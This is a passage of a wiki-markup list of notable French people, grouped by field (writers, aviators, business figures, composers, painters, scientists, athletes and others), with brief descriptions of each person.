*[[Abbé Prévost]]
*[[Marcel Prevost]]
*[[Marcel Proust]] -- novelist
*[[Raymond Queneau]]
*[[François Rabelais]] -- Renaissance writer
*[[Raymond Radiguet]]
*[[Jean Racine]] -- [[classicism|classicist]] playwright
*[[Pauline Réage]], novelist
*[[Arthur Rimbaud]] -- [[symbolist]] poet
*[[Alain Robbe-Grillet]]
*[[Pierre de Ronsard]]
*[[Edmond Rostand]] -- [[neo-romantic]] playwright
*[[Raymond Roussel]]
*[[Maximilien Rubel]]

===S-Z===
*[[Marquis de Sade]] -- erotic and philosophic author
*[[Charles Augustin Sainte-Beuve]]
*[[George Sand]] -- [[feminist]] author
*[[Jean Paul Sartre]] -- 20th century existentialist philosopher
*[[Nathalie Sarraute]]
*[[Pierre Seel]], homosexual survivor of the concentration camps, activist, author
*[[Victor Segalen]]
*[[Madame de Sévigné]]
*[[Anne Louise Germaine de Staël|Madame de Staël]]
*[[Antoine de Saint-Exupéry|Antoine de Saint-Exupery ]], [[humanist]] author and aviators.
*[[Claude Simon]]
*[[Stendhal]] -- novelist (born Henry Beyle)
*[[François Truffaut]] -- 20th century filmaker
*[[Paul Valéry]] -- 20th century poet
*[[Vercors]]
*[[Paul Verlaine]] -- [[symbolist]] poet
*[[Jules Verne]] -- novelist
*[[Boris Vian]] -- 20th century author
*[[Alfred de Vigny]] -- 19th century poet
*[[François Villon]]
*[[Marguerite Yourcenar]]
*[[Émile Zola]] -- [[natural history|naturalist]] author

==Aviators==
*[[Clément Ader]]
*[[Jacqueline Auriol]]
*[[Louis Blériot]]
*[[Henry Farman]]
*[[Georges Guynemer]]
*[[Jean Mermoz]]
*[[Antoine de Saint-Exupéry]], [[humanist]] author and aviators.
*[[Roland Garros]], First to cross the [[Mediterranean Sea]].  [[French Open]] is named after him.

==Business==
*[[Bernard Arnault]] (born 1949), entrepreneur
*[[Liliane Bettencourt]], cosmetics, richest person in France
*[[Marcel Bich]], (1914-1994), Bic pens
*[[Vincent Bolloré]] (born 1952), transportation and engineering
*[[Marcel Boussac]], textiles, fashion, newspapers, race horse breeding
*[[Bugatti|Ettore Bugatti]] (1881-1947), automobile manufacturer
*[[André Citroën]] (1878-1935), automobile manufacturer
*[[Marcel Dassault]] (1892-1986), aviation
*[[Alexandre Darracq]] (1855-1931), automotive pioneer  
*[[Louis Delâge]] (1874-1947) automotive pioneer  
*[[Emile Delahaye]] (1843-1905), automotive pioneer
*[[Philippe Camus]] Former [[EADS]] co-CEO
*[[Gerard Louis-Dreyfus]] (born 1932), agricultural commodities
*[[Eleuthère Irénée du Pont|Eleuthère Irénée du Pont de Nemours]]  (1771-1834), founder of [[DuPont]]
*[[Pierre Samuel du Pont de Nemours]] (1739-1817), entrepreneur
*[[Jacques Foccart]] (19..-1997),  import-export
*[[Léon Gaumont]], pioneer film inventor
*[[Paul-Louis Halley]] (1934-2004), supermarket tycoon
*[[Max Hymans]] (1900-1961), aviation
*[[Jean-Marie Messier]] (born 1957), former Vivendi CEO
*[[Gérard Mestrallet]] (born 1949), Chairman and CEO of [[SUEZ]]
*[[Charles Pathé]], pioneer of film industry
*[[François Pinault]] (born 1936), entrepreneur
*[[Jacques-Donatien Le Ray]] (1726-1803), shipping magnate and a &quot;Father of the [[American Revolution]]&quot;
*[[Marcel Renault]] (1872-1903), automobile manufacturer
*[[James Mayer Rothschild]] (1792-1868), banker
*[[Philippe de Rothschild]] (1902-1988), wine maker
*[[Eugene Schueller]] (1881-1954), founder of L'Oreal
*[[Bernard Tapie]] (born 1943), entrepreneur

==Chefs==
*[[Raymond Blanc]]
*[[Paul Bocuse]]
*[[Marie-Antoine Carême]]
*[[Chiboust]]
*[[Alain Ducasse]]
*[[Adolf Dugléré]]
*[[Urbain Dubois]]
*[[Auguste Escoffier]]
*[[Pierre Gagnaire]]
*[[Victor Hirtzler]]
*[[Laguipière]]
*[[Lionel Poilâne]]
*[[Charles Ranhofer]]
*[[Albert Roux]]
*[[Michel Roux]]
*[[Vatel]]

==Colonial administrators==
*[[Pierre Savorgnan de Brazza]] - French Congo
*[[Antoine de la Mothe Cadillac]] - Louisiana
*[[Samuel de Champlain]] - [[New France]]
*[[Joseph François Dupleix]] - French territories in India
*[[Louis Faidherbe]] - [[Senegal]]
*[[Joseph Gallieni]] - [[Madagascar]]
*[[Francis Garnier]] - [[French Indo-China]] (Vietnam, Cambodia, and Laos)
*[[Émile Gentil]] - [[French Congo]]
*[[Hubert Lyautey|Louis Hubert Gonzalve Lyautey]] - [[Algeria]] 
*[[Jean-Baptiste Le Moyne de Bienville]] - [[Louisiana]]
*[[Jean Talon]] - [[Canada]]

==Composers==
*[[Georges Auric]]
*[[Hector Berlioz]]
*[[Georges Bizet]] -- composer of ''[[Carmen]]''
*[[Pierre Boulez]] -- [[avant-garde]] composer
*[[Marc Antoine Charpentier]]
*[[François Couperin]]
*[[Michel Richard Delalande]]
*[[Georges Delerue]]
*[[Claude Debussy]] -- [[Impressionist]] composer
*[[Paul Dukas]] -- composer of ''[[The Sorcerer's Apprentice]]''
*[[Henri Duparc]]
*[[Gabriel Fauré]]
*[[César Franck]] -- also considered Belgian
*[[Jean-Jacques Goldman]]*
*[[Reynaldo Hahn]]
*[[Pierre Henry]] -- writer of [[musique concrète]] and [[electronic music]]
*[[Jean-Michel Jarre]]
*[[Maurice Jarre]] -- film music composer 
*[[Michel Legrand]]
*[[Jean François Lesueur]]
*[[Jean-Baptiste Lully|Jean Baptiste Lully]], court composer to [[Louis XIV of France|Louis XIV]]
*[[Darius Milhaud]]
*[[Jacques Offenbach]] -- noted for his [[operetta]]s
*[[Francis Poulenc]]
*[[Jean Philippe Rameau]]
*[[Maurice Ravel]]
*[[Claude Joseph Rouget de Lisle]] -- composer of &quot;La Marseillaise&quot;, French National Anthem
*[[Edmond Roussel]]
*[[Camille Saint-Saëns]]
*[[Erik Satie]] composer of ''Musiques d'ameublement''
*[[Pierre Schaeffer]] -- inventor of [[musique concrète]]
*[[Les Six]] -- group of composers
*[[Germaine Tailleferre]]
*[[Charles-Marie Widor]]

==Criminals==
For [[Collaboration]] with [[Nazi Germany]] see also the ''politicians'' section.
*[[Jacques de Bernonville]] (1897-1972), war criminal sentenced to death
*[[Bonnot gang|Jules Bonnot]]
*[[Alain Juppé]]
*[[Émile Louis]]
*[[Henri Désiré Landru]] -- serial killer
*[[Jacques Mesrine]]
*[[Zacarias Moussaoui]]
*[[Maurice Papon]] -- politician and war criminal
*[[Marcel Petiot]] -- serial killer
*[[Jean-Claude Romand]] -- murderer
*[[Paul Touvier]] -- The only Frenchman convicted of crime against humanity

==Dancers==
*[[Jane Avril]]
*[[La Goulue]]
*[[Marcelle Lender]]
*[[Cléo de Mérode]]
*[[Hellé Nice]]
*[[Roland Petit]]
See also [[Moulin Rouge]] and [[Folies Bergeres]]

==Economists==
*[[Maurice Allais]]
*[[Raymond Barre]] -- Economist and Politician
*[[Frederic Bastiat]]
*[[Marcel Boiteux]]
*[[Fernand Braudel]]
*[[Jules Dupuit]]
*[[Gerard Debreu]] -- Nobel memorial prize [[1983]]
*[[Dominique Guellec]]
*[[Jean-Jacques Laffont]]
*[[Alain Lipietz]] -- green economist
*[[François Quesnay]]
*[[Pascal Salin]]
*[[Jean-Baptiste Say]]
*[[Anne Robert Jacques Turgot|Turgot]]

==Fashion==
*[[Liliane Bettencourt]], majority owner of ''L'Oreal'', wealthiest person in France
*[[Pierre Cardin]] -- Fashion Designer
*[[Gabrielle Chanel|Coco Chanel]] -- fashion designer
*[[Edouard de Givenchy]]
*[[Christian Dior]] -- fashion designer
*[[Jean-Paul Gaultier]]
*[[Madame Grey]]
*[[Daniel Hechter]] -- inventor of ready-to-wear
*[[Paul Poiret]]
*[[Yves Saint-Laurent]] -- fashion designer

==Fictional characters==
*[[Asterix]], [[Obelix]] and [[Dogmatix]] (French: Idéfix) ([[René Goscinny]] and [[Albert Uderzo]]) -- [[Gaul]] warriors 
*[[Athos (fictional character)|Athos]], [[Porthos]], [[Aramis]] and [[D'Artagnan]] ([[Alexandre Dumas]]) -- [[The Three Musketeers|Musketeers]] of the [[King of France]]
*[[Cyrano de Bergerac (play)|Cyrano de Bergerac]] ([[Edmond Rostand]] -- not fictional but there's no better category)
*[[Jean-Luc Picard]] ([[Patrick Stewart]]) -- Captain of three Federation starships within one television series and four motion pictures
*[[Phantom of the Opera|Erik,The Phantom of the Opera]] ([[Gaston Leroux]])) -- The &quot;Opera Ghost&quot; who haunted the [[Palais Garnier]].
*Vicomte [[Raoul]] de Chagny ([[Gaston Leroux]]) -- Childhood friend of [[Christine Daae]] and brother of Comte Phillipe. Competed for the affections of [[Christine Daae]] with Erik.
*[[Rastignac]] ([[Honoré de Balzac]]) -- The most ambitious man in Paris?
*[[The Man in the Iron Mask]] -- Not fictional either, but who knows who he was?
*[[Tintin]]
*[[Cpl. Louis LeBeau]] -- POW, Stalag 13
*[[Inspector Jacques Clouseau]] -- The bumbling French detective, and star of the [[Pink Panther]] movies.

==Filmmakers==
*[[Olivier Assayas]]
*[[Jacques Becker]]
*[[Jean-Jacques Beineix]]
*[[Luc Besson]]
*[[Alice Guy-Blaché]]
*[[Bertrand Blier]]
*[[Catherine Breillat]]
*[[Robert Bresson]]
*[[André Cayatte]]
*[[René Clair]]
*[[René Clément]]
*[[Henri-Georges Clouzot]]
*[[Jean Cocteau]]
*[[Fabien Cousteau]]
*[[Jacques-Yves Cousteau]]
*[[Jacques Demy]]
*[[Henri Diamant-Berger]]
*[[Abel Gance]]
*[[Jean-Luc Godard]]
*[[Jean-Pierre Jeunet]]
*[[Mathieu Kassovitz]]
*[[Jan Kounen]]
*[[Patrice Leconte]]
*[[Claude Lelouch]]
*[[Louis Malle]]
*[[André Malraux]]
*[[Georges Méliès]]
*[[Maurice Pialat]]
*[[Roman Polanski]]
*[[Jean Renoir]]
*[[Alain Resnais]]
*[[Yves Robert]]
*[[Alain Sarde]]
*[[Claude Sautet]] 
*[[Jacques Tati]]
*[[Jacques Tourneur]]
*[[Maurice Tourneur]]
*[[François Truffaut]]
*[[Roger Vadim]]
*[[Agnès Varda]]
*[[Jean Vigo]]

==Humorists==
*[[Coluche]]
*[[Francis Blanche]]
*[[Pierre Dac]] humorist and Resistance worker
*[[Pierre Desproges]]
*[[Thierry Le Luron]]

==Monarchs==
See also [[list of French monarchs|French monarchs]], [[members of the French Royal Families]]
*[[Charlemagne]]
*[[Henry IV of France|Henri IV]]
*[[Louis XIV of France|Louis XIV]], the Sun King -- King of France
*[[Louis XVI of France|Louis XVI]] -- King of France when the [[Revolution]] started.
*[[Marie Antoinette]] -- Austrian born Queen of France, wife of Louis XVI.
*[[Napoleon I of France|Napoléon Bonaparte]] and [[Joséphine de Beauharnais]] -- Emperor and Empress of France
*[[Napoleon III of France|Napoleon III]] -- Président and Emperor
*[[Charles-Marie David de Mayréna|Charles-Marie David de Mayréna I]] -- King of the [[Kingdom of Sedang]]

==Musicians, singers==
*[[Charles Aznavour]]
*[[Josephine Baker]], American born entertainer
*[[Jane Bathori]], opera singer
*[[Monique Serf|Barbara]]
*[[Guy Béart]]
*[[Michel Berger]]
*[[Lucienne Boyer]]
*[[Georges Brassens]]
*[[Aristide Bruant]] 
*[[Manu Chao]]
*[[Air_(band)]]
*[[Dalida]]
*[[Marie-Louise Damien|Damia]]
*[[Marie Dubas]]
*[[Jacques Dutronc]]
*[[Claude François]] -- popular singer 1960s-1970s
*[[Fréhel]]
*[[France Gall]]
*[[Serge Gainsbourg]]
*[[Gipsy Kings]]
*[[Georges Guibourg|Georgius]]
*[[Jean-Jacques Goldman]]
*[[Stéphane Grappelli]] -- jazz musician
*[[Juliette Gréco]]
*[[Gribouille]] (Marie-France Gaîté)
*[[Yvette Guilbert]]
*[[Johnny Hallyday]] - born in Belgium, served in the French army
*[[David Hallyday]]
*[[Françoise Hardy]]
*[[Joëlle Mogensen|Joëlle]]
*[[Kassav']]
*[[Alice Prin|Kiki]] -- &quot;Queen of [[Montparnasse]]&quot;
*[[La Goulue]]
*[[Claudine Longet]]
*[[Luis Mariano]]
*[[Didier Marouani]] — musician and composer
*[[Félix Mayol]]
*[[Mireille Mathieu]]
*[[Mireille Hartuch|Mireille]]
*[[Mistinguett]]
*[[Ginette Neveu]]
*[[Yannick Noah]]
*[[Noir Désir]]
*[[Vanessa Paradis]]
*[[Pierre Perret]]
*[[Michel Petrucciani]]
*[[Edith Piaf]]
*[[Lily Pons]] — opera singer (naturalized as a [[United States|U.S.]] citizen in 1940)
*[[Tino Rossi]]
*[[Jean Sablon]]
*[[Alain Souchon]]
*[[Charles Trenet]]
*[[Sylvie Vartan]]
*[[Pauline Garcia-Viardot]] — opera singer &amp; composer
*[[Jossé Lajoie]]

==Painters==
*[[Maurice Boitel]]
*[[François Boucher]]
*[[Pierre Brissaud]]
*[[Bernard Buffet]]
*[[Gustave Caillebotte]]
*[[Paul Cézanne]]
*[[Jules Chéret]]
*[[Jean-Baptiste Camille Corot]]
*[[Gustave Courbet]]
*[[Thomas Couture]]
*[[Jacques Louis David]]
*[[Edgar Degas]]
*[[Eugène Delacroix]]
*[[Robert Delaunay]]
*[[André Derain]]
*[[Marcel Duchamp]]
*[[Suzanne Duchamp]]
*[[Henri Fantin-Latour]]
*[[Jean-Honoré Fragonard]]
*[[Antonio de La Gandara]]
*[[Paul Gauguin]]
*[[Jean-Baptiste Gros]]
*[[Jean Auguste Dominique Ingres]]
*[[Charles de La Tour]]
*[[Georges Lacombe]]
*[[Fernand Léger]]
*[[Edouard Manet]]
*[[Henri Matisse]]
*[[Claude Monet]]
*[[Gustave Moreau]]
*[[Berthe Morisot]]
*[[Gen Paul]]
*[[Francis Picabia]]
*[[Camille Pissarro]]
*[[Nicolas Poussin]]
*[[Pierre-Auguste Renoir]]
*[[Georges Seurat]]
*[[Nicolas de Staël]]
*[[Henri de Toulouse-Lautrec]]
*[[Maurice Utrillo]]
*[[Suzanne Valadon]]
*[[Horace Vernet]]
*[[Jacques Villon]]
*[[Philippe Watteau]]
*[[Félix Ziem]]

==Philosophers==
*[[Louis Althusser]]
*[[Raymond Aron]] — sociologist &amp; philosopher
*[[Jean le Rond d'Alembert]]
*[[Gaston Bachelard]]
*[[Georges Bataille]]
*[[Roland Barthes]]
*[[Jean Baudrillard]] -- philosopher and sociologist
*[[Pierre Bourdieu]], sociologist
*[[Julien Benda]]
*[[Henri Bergson]]
*[[Emile Boutroux]]
*[[Michel de Certeau]]
*[[André Comte-Sponville]]
*[[Jean de Crèvecoeur]]
*[[Guy Debord]]
*[[Gilles Deleuze]]
*[[Jacques Derrida]]
*[[René Descartes]] -- scientist and philosopher
*[[Denis Diderot]] -- [[the Enlightenment|Enlightenment]] author and atheist philosopher
*[[Elisabeth Bourdiau de Fontenay]]
*[[Michel Foucault]]
*[[Félix Guattari]]
*[[Vladimir Jankelevitch]]
*[[Étienne de La Boétie]] -- philosopher and politician
*[[Philippe Lacoue-Labarthe]]
*[[Henri Lefèbvre]]
*[[Marcel Légaut]] - christian philosopher
*[[Jean de Léry]] -- ''corsaire''and ethnologist, anti-racism acivist
*[[Immanuel Levinas|Emmanuel Lévinas]]
*[[Jean-François Lyotard]]
*[[Nicolas Malebranche]]
*[[Gabriel Marcel]] -- philosopher
*[[Maurice Merleau-Ponty]] -- phenomenologist
*[[Michel de Montaigne]] -- philosopher essayist
*[[Charles de Secondat, Baron de Montesquieu|Montesquieu]], political philosopher
*[[Emmanuel Mounier]] -- philosopher
*[[Jean Luc Nancy]] -- philosopher
*[[Blaise Pascal]] -- scientist, Christian philosopher and author
*[[Jean-François Revel]]
*[[Paul Ricoeur]]
*[[Jean-Jacques Rousseau]]
*[[Jean-Paul Sartre]] -- existentialist philosopher
*[[Michel Serres]]
*[[Voltaire|Jean-Marie Arouet dit Voltaire]] -- [[Age of Enlightenment|Enlightenment]] author, [[deist]]/[[agnostic]] philosopher
*[[Éric Weil|Eric Weil]] -- philosopher
*[[Simone Weil]]

==Politicians==
See also: [[List of Prime Ministers of France|Prime Ministers of France]], [[President of France|Presidents of France]]
*[[Robert Badinter]] -- lawyer, statesman and anti death sentence activist
*[[François Bayrou]] -- UDF party leader
*[[Léon Blum]]
*[[José Bové]] -- altermondialist
*[[Aristide Briand]]
*[[Jacques Chirac]]
*[[Georges Clemenceau]]
*[[Gaspard de Coligny]]
*[[Bertrand Delanoë]]
*[[Jacques Delors]]
*[[Félix Faure]], President of France who died of a heart attack while making love to his mistress
*[[Charles de Gaulle]]
*[[Valéry Giscard d'Estaing]]
*[[François Pierre Guillaume Guizot|Guizot]], Prime Minister
*[[Gisèle Halimi]] lawyer and feminist activist
*[[François Hollande]] -- PS (Socialist Party) leader
*[[Jean Jaurès]], politician, pacifist
*[[Lionel Jospin]]
*[[Bernard Kouchner]] -- founder of [[Medecins du Monde]] and other &quot;[[French Doctors]]&quot;
*[[Jean-Marie Le Pen]] -- Leader of the extrem right party in France, Front National
*[[Pierre Mendès-France]] -- Lawyer and Statesman
*[[Honoré Mirabeau]]
*[[François Mitterrand]] -- Lawyer and Statesman
*[[Jean Monnet]]
*[[Henri Philippe Pétain]] -- Head of ''Vichy'' France
*[[Alexandre de Prouville]], Viceroy of [[New France]]
*[[Jean-Pierre Raffarin]] -- Prime Minister of France since 2002
*[[Nicolas Sarkozy]] -- President of the right wing party
*[[Victor Schoelcher]] -- anti-slavery activist
*[[Charles Maurice de Talleyrand]]
*[[Maurice Thorez]]
*[[Jacques Toubon]]
*[[Dominique Voynet]] -- Physician and Green politician

==Popes==
See [[List of French popes]]

==Resistance workers==
See also [[French Resistance]]
*[[Lucie Aubrac|Lucie Samuel-Aubrac]](born 1912), human rights activist
*[[Raymond Aubrac]] (born 1914), statesman
*[[Robert Benoist]] (1895-1944), [[Special Operations Executive|SOE]] operative, champion race car driver
*[[Denise Bloch]] (1915-1945),  [[Special Operations Executive|SOE]] operative: King's Commendation for Brave Conduct, Legion of Honor, French Resistance Medal
*[[Andrée Borrel]] (1919-1944), [[Special Operations Executive|SOE]] operative: Croix de Guerre
*[[Madeleine Damerment]] (1917-1944), [[Special Operations Executive|SOE]] operative: Legion of Honor, Croix de Guerre, Médaille combattant volontaire de la Résistance
*[[Marie Louise Dissard]]
*[[William Grover-Williams]] (1903-1945), [[Special Operations Executive|SOE]] operative, champion race car driver
*[[Cecily Lefort]] (1900-1945), [[Special Operations Executive|SOE]] operative: Croix de Guerre
*[[Pierre Mendès-France]] (1907-1982), lawyer, statesman
*[[Jean Moulin]] (1899-1943), statesman
*[[Abbé Pierre]] (1912- ), Priest and founder of [[Emmaus]]
*[[Christian Pineau]](1904-1995), statesman
*[[Eliane Plewman]] (1917-1944), [[Special Operations Executive|SOE]] operative: Croix de Guerre 
*[[Germaine Ribière]]
*[[Élise Rivet]] (1890-1945), nun executed by Nazis for aiding the resistance
*[[Lilian Rolfe]] (1914-1945), [[Special Operations Executive|SOE]] agent executed by the Nazis
*[[Odette Sansom]] (1912-1995), [[Special Operations Executive|SOE]] operative: George Cross, MBE, Legion of Honor
*[[Suzanne Spaak]], Belgian-born agent: &quot;Red Orchestra&quot; intelligence network; executed 1944
*[[Violette Szabo]] (1921-1945), [[Special Operations Executive|SOE]] operative:  George Cross, Croix de Guerre
*[[Jean-Pierre Wimille]] (1908-1949), [[Special Operations Executive|SOE]] operative, champion race car driver

==Scientists==
===A-C===
*[[Louis Agassiz]] -- geologist
*[[André-Marie Ampère]] -- scientist
*[[François Arago]] -- physicist, astronomer (and also politician)
*[[Antoine Arbogast]] -- mathematician
*[[Jean-Baptiste Biot]] -- physicist
*[[Jean-Charles de Borda]] --  mathematician, physicist, political scientist
*[[Henri Braconnot]] -- chemist and pharmacist
*[[Louis de Broglie]] -- 1929 Physics Nobel Prize winner.
*[[Lazare Nicolas Marguerite Carnot]] -- physicist
*[[Augustin Louis Cauchy]] -- mathematician
*[[Jean-François Champollion]] -- egyptologist
*[[Emilie du Chatelet]] -- 18th century mathematician
*[[Georges Charpak]] -- physicist, Nobel prize winner (Polish born)
*[[Marquis de Condorcet]] -- philosopher, mathematician and political scientist
*[[Charles-Augustin de Coulomb]] -- physicist, mathematician, engineer
*[[Jacques-Yves Cousteau|Jacques Cousteau]], Marine scientist
*[[Joseph Cugnot]]
*[[Irène Joliot-Curie]] -- scientist
*[[Pierre Curie]] -- scientist

===D-M===
*[[Guillaume Delisle]], cartographer
*[[René Descartes]] -- scientist and philosopher
*[[Girard Desargues]] --  mathematician
*[[Georges Duby]] -- historian
*[[Pierre de Fermat]] -- mathematician
*[[Joseph Fourier]] -- mathematician and physicist
*[[Pierre Gassendi]] -- philosopher mathematician
*[[Pierre-Gilles de Gennes]] -- physicist, Nobel prize winner
*[[Évariste Galois]] -- mathematician
*[[Frédéric Joliot]] -- scientist
*[[Joseph Louis Lagrange]] -- mathematician
*[[Pierre-Simon Laplace]] -- mathematician and physicist
*[[Antoine Lavoisier]]
*[[Jean-Marie Lehn]] -- chemist, Nobel prize winner in 1987
*[[Claude Lévi-Strauss]], anthropologist
*[[Antoine Lévi-Leblond]] -- physicist
*[[Albert Mathiez]] -- historian
*[[André Michaux]] -- botanist and explorer
*[[Jules Michelet]] -- historian
*[[Abraham de Moivre]] -- mathematician
*[[Theodore Monod]] -- naturalist and theologian
*[[Claude Mossé]] -- (Ms), historian

===P-V===
*[[Denis Papin]]
*[[Louis Pasteur]] -- scientist
*[[Blaise Pascal]] -- mathematician and philosopher
*[[Étienne Pascal]] -- mathematician
*[[Henri Poincaré]] -- mathematician and physicist
*[[Simeon Poisson]] -- mathematician and physicist
*[[Michel Rolle]] -- mathematician
*[[Jean Rostand]]
*[[Albert Soboul]] -- historian
*[[Jean-Pierre Vernant]] -- historian
*[[Pierre Vidal-Naquet]] -- historian and Civil Rights activist
*[[Pierre Vilar]], historian
*[[Christophe Victor]] -- geographer
*[[Paul-Emile Victor]] -- ethnologist

==Sculptors==
*[[Frédéric Bartholdi]]
*[[Antonin Carlés]]
*[[Jean-Baptiste Carpeaux]]
*[[César Baldaccini|César]]
*[[Antoine-Denis Chaudet]] 
*[[Camille Claudel]]
*[[Paul Dubois]]
*[[Raymond Duchamp-Villon]]
*[[Alexandre Falguière]]
*[[Jean Antoine Houdon]]
*[[Antonin Idrac]]
*[[Georges Lacombe]]
*[[Antonin Mercié]]
*[[Hippolyte Moulin]]
*[[Auguste Préault]]
*[[Auguste Rodin]]
*[[Francois Rude]]
*[[Niki de Saint Phalle]]

==Social Activists==
*[[Hubertine Auclert]] -- journalist and feminist leader
*[[Simone de Beauvoir]] -- author, philosopher, and feminist
*[[Sophie de Condorcet]] -- feminist
*[[Maria Deraismes]] -- feminist
*[[Marguerite Durand]] -- journalist and feminist leader
*[[Olympe de Gouges]] -- feminist
*[[Samir Kassir]] -- journalist
*[[Pierre Seel]], homosexual survivor of the concentration camps, activist, author
*[[Séverine]] -- feminist
*[[Flora Tristan]] -- feminist

==Soldiers==
*[[Louis Nicolas Davout]]
*[[Bob Denard]]
*[[Alfred Dreyfus]]
*[[Ferdinand Foch]]
*[[Bertrand du Guesclin]]
*[[Charles Leclerc]]
*[[Jean de Lattre de Tassigny]]
*[[Simon de Montfort]]
*[[Michel Ney]]


==Athletes==
*[[Sarah Abitbol]] -- pairs figure skater (with S. Bernadis)
*[[Tariq Abdul-Wahad]] -- basketball player (born Olivier Saint-Jean)
*[[Louis Acaries]] -- boxer, former world title challenger, now promoter
*[[Luc Alphand]] -- Alpine skier
*[[Jacques Anquetil]] -- cyclist
*[[Fabien Barthez]] -- football player
*[[Stephane Bernadis]] -- pairs figure skater (with S. Abitbol)
*[[Serge Betsen]] -- [[Cameroon]] born French citizen, rugby player
*[[Serge Blanco]] -- [[Venezuela]] born French citizen, rugby player
*[[Louison Bobet]] -- cyclist
*[[Surya Bonaly]] -- figure skater
*[[Andrée Brunet]] &amp; [[Pierre Brunet]] -- 1928 &amp; 1932 Olympic skating Gold Medalists
*[[Philippe Candeloro]] - figure skater
*[[Eric Cantona]] -- football player
*[[Georges Carpentier]] -- world champion boxer
*[[Marcel Cerdan]] -- world champion boxer
*[[Eugene Criqui]] -- world champion boxer
*[[Jean Cruguet]] -- jockey of [[Seattle Slew]]
*[[Richard Dacoury]] -- basketball player
*[[Emile Delahaye]] -- race car pioneer
*[[Marcel Desailly]] -- [[Ghana]] born French citizen, football player
*[[David Douillet]] -- judo
*[[Isabelle Duchesnay]] &amp; [[Paul Duchesnay]] -- ice dancers
*[[André Fabre]] -- horse trainer
*[[Laurent Fignon]] -- cyclist
*[[Just Fontaine]] -- football player
*[[Jacques Fouroux]] -- rugby union player and coach
*[[Lucien Gaudin]] -- fencer
*[[Thierry Henry]] -- football player
*[[Bernard Hinault]] -- cyclist
*[[Cristobal Huet]] -- hockey player
*[[Constant Huret]] -- cyclist
*[[Olivier Jacque]] -- motorcycle rider
*[[Rene Jacquot]] -- boxer, underdog who became world champion
*[[Laurent Jalabert]] -- cyclist
*[[Jean-Claude Killy]] -- skier
*[[Raymond Kopa]] -- football player
*[[Pascal Lavanchy]] -- ice dancer (with S. Moniotte)
*[[Suzanne Lenglen]] -- tennis player
*[[Bixente Lizarazu]] - football player
*[[Jeannie Longo]] -- cyclist
*[[Laure Manaudou]] -- swimmer
*[[Amélie Mauresmo]] -- tennis player
*[[Jean Max]] -- [[Formula 1]] driver
*[[Jose Meiffret]] -- cyclist
*[[Eric Millot]] -- figure skater
*[[Alain Mimoun]] -- athlete
*[[Sophie Moniotte]] -- ice dancer (with P. Lavanchy)
*[[Antoine Monteiro]] -- boxer, lost to [[Santos Laciar]] for the world title
*[[Carole Montillet]] -- skier
*[[Hellé Nice]] -- pioneer female race car driver
*[[Yannick Noah]] -- tennis player
*[[Tony Parker]] -- [[Belgium|Belgian]] born French citizen, basketball player
*[[Gwendal Peizerat]] -- ice dancer
*[[Marie-José Perec]] -- athlete
*[[Mary Pierce]]-- [[Canada|Canadian]] born French citizen, tennis player
*[[Julien Pillet]] -- fencer
*[[Michel Platini]] -- football player
*[[Alain Prost]] -- automobile racer
*[[Antoine Rigaudeau]] -- basketball player
*[[Georges Stern]] -- thoroughbred racing jockey
*[[Marcel Thil]] -- world champion boxer
*[[Christophe Tiozzo]] -- world champion boxer
*[[Fabrice Tiozzo]] -- world champion boxer, Christophe's brother
*[[Damien Touya]] -- fencer
*[[Patrick Vieira]] -- [[Senegal]] born French citizen, football player
*[[Richard Virenque]] -- [[Morocco]] born French citizen, cyclist
*[[Jean-Pierre Wimille]], race car driver
*[[Zinédine Zidane]] -- football player

==Theologians==
'''O.P.''' (''Ordo Praedicatorum'') is the abbreviation used to indicate that someone is/was a member of [[Dominican order]], a [[Roman Catholic Church|Catholic]] [[religious order]].
'''S.J.''' (''Societas Iesu'') is the abbreviation used to indicate that someone is/was a member of the [[Society of Jesus]], which is a [[Roman Catholic Church|Catholic]] religious order too.

*[[Marie-Emile Boismard]] O.P.
*[[Jacques-Bénigne Bossuet]]
*[[John Calvin|Jean Calvin]]
*[[Sebastian Castellion]] -- translator of the Bible
*[[Pierre Cauchon]] -- condemned Joan of Arc
*[[Bernard of Clairvaux]]
*[[Jean Claude]]
*[[Yves Congar]], O.P. 
*[[André Gounelle]]
*[[Pierre Lagrange (monk)|Pierre Lagrange]] O.P. -- founder of the ''[[Ecole Biblique et Archeologique de Jérusalem]]''
*[[Hubert Languet]]
*[[Maurice Leenhardt]] -- ethnologist, theologian
*[[Etienne Mennegoz]]
*[[Wilfred Monod]]
*[[Etienne Nodet]] O.P.
*[[Rachi de Champagne]]
*[[Alexandre de Rhodes]] S.J. -- 17th c. missionary to Indochina
*[[Pierre Teilhard de Chardin]] S.J.
*[[Auguste Sabatier]]
*[[Antonin Sertillanges]] O.P. -- founder of the ''Revue Thomiste''
*[[Bernard Sesboué]] S.J.

==Others==
*[[André the Giant]], professional wrestler
*[[Louis Braille]], blind inventor
*[[Charles Cros]], poet and inventor
*[[Joan of Arc|Jeanne d'Arc]] (Joan of Arc), warrior and Saint
*[[André Charles Boulle]], cabinet maker
*[[Pierre de Coubertin]], initiator of the modern [[Olympic Games]]
*[[Edmond de Goncourt|Edmond Louis Antoine Huot de Goncourt]]
*[[Ninon de l'Enclos]], courtesan, patron of the arts
*[[Cavalier de la Salle]], explorer
*[[Marcel Deprez]], electrical engineer
*[[René Dumont]], agronomist engineer and sociologist and ecology activist
*[[Jules Dumont d'Urville]]
*[[Maurice Duverger]], jurist
*[[Gustave Eiffel]], engineer
*[[Pierre Charles L'Enfant]], planned Washington, D.C.
*[[Charles Michel de l'Épée]], founder of world's first public school for deaf people
*[[Marquis de la Fayette]],- military leader in the [[American Revolution]]
*[[Paul Héroult]], inventor
*[[Claude de Jouffroy d'Abbans]], designed the first steamship in 1783
*[[René Lalique]], artist
*[[Louis Maurice Adolphe Linant de Bellefonds]], explorer and canal engineer
*[[Auguste and Louis Lumière]], inventors
*[[Jean-Paul Marat|Jean Paul Marat]]
*[[Jacques Mayol]], freediver
*[[Marcel Mazoyer]], agronomist
*[[Montgolfier brothers]], balloonists
*[[Jean-Marie Pelt]], botanist
*[[Bernard Pivot]]
*[[Elisée Reclus]], geographer and anarchist
*[[César Ritz]], hotelier
*[[Maximilien Robespierre]]
*[[Jean Eugène Robert-Houdin]], magician, namesake of &quot;[[Harry Houdini]]&quot;
*[[Pierre Seel]], homosexual survivor of the concentration camps, activist, author
*[[Philippe Starck]], designer
*[[Vauban]], engineer

==See also==
*[[List of people by nationality]]: [[List of Belgians|Belgians]], [[List of Catalans|Catalans]], [[List of Monegasque people|Monegasque people]], [[List of Quebecois|Quebecois]], [[List of Swiss people|Swiss]]
*[[List of French Jews]] 
*[[List of French Black people]]
*[[Franco-Belgian comics]]

